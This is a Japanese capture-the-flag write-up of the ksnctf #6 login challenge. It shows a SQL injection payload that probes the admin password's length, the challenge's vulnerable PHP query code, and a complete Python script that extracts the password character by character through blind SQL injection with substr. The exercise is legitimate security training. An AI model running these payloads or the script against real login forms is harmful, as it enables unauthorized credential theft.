ksnctf #6 Login
前回の問題はえらく簡単だったのですが、今回はちょっと知識がいりそうな問題です。
Problem
URL先に飛ぶとログインフォームがあり、"First, login as "admin"."の文字が。
adminでログインしろってことだと思うんですが、パスワードがわからん。
Answer
ポイントも120ptとそんなに高くないので、 SQLインジェクションかな?
ので、まずはパスワードの文字数を調べて行きたいと思います。
idが'admin'でかつ、passの長さが[文字数]であるものを探していきます。
admin' AND (SELECT length(pass) FROM user WHERE id='admin') = [文字数]; --
ksnctfのフラグはだいたい21文字なので(多分)、[文字数]=21にして実行すると、以下のレスポンスが得られました。
Congratulations! It's too easy? Don't worry. The flag is admin's password. Hint: <?php function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');} $id = isset($_POST['id']) ? $_POST['id'] : ''; $pass = isset($_POST['pass']) ? $_POST['pass'] : ''; $login = false; $err = ''; if ($id!=='') { $db = new PDO('sqlite:database.db'); $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'"); $login = $r && $r->fetch(); if (!$login) $err = 'Login Failed'; } ?><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title> </head> <body> <?php if (!$login) { ?> <p> First, login as "admin". </p> <div style="font-weight:bold; color:red"> <?php echo h($err); ?> </div> <form method="POST"> <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div> <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div> <div><input type="submit"></div> </form> <?php } else { ?> <p> Congratulations!<br> It's too easy?<br> Don't worry.<br> The flag is admin's password.<br> <br> Hint:<br> </p> <pre><?php echo h(file_get_contents('index.php')); ?></pre> <?php } ?> </body> </html>
これで文字数はわかったので、1文字ずつパスワードを推測していきたいと思います。
substrを使うことによって、最初からn文字目までの一致を確認することができるので、総当りよりもだいぶ効率が良いです。
#!/usr/bin/env python # coding: UTF-8 import sys import urllib import urllib2 def httpRequest(id, pw): url = 'http://ctfq.sweetduet.info:10080/~q6/' req = {'id': id, 'pass': pw} params = urllib.urlencode(req) response = urllib2.urlopen(url, params) data = response.read() # print data # print len(data) return data def atkpw(plen): flag = '' for p in range(0, plen): for i in range(48, 123): char = chr(i) id = "admin' AND substr((SELECT pass FROM user WHERE id='admin'), " + str(p + 1) + ", 1) = " + "'" + char + "'" + " ; --" pw = "''" data = httpRequest(id, pw) if len(data) > 2000: print str(i) + ": " + char flag = flag + char print flag break return flag if __name__ == '__main__': plen = 21 print atkpw(plen)
これでしばらく放置すればフラグゲットです。
感想とか
SQLインジェクション自体は元々知っていたのですが、実際にやってみたのは初めてなので、いい経験になりました。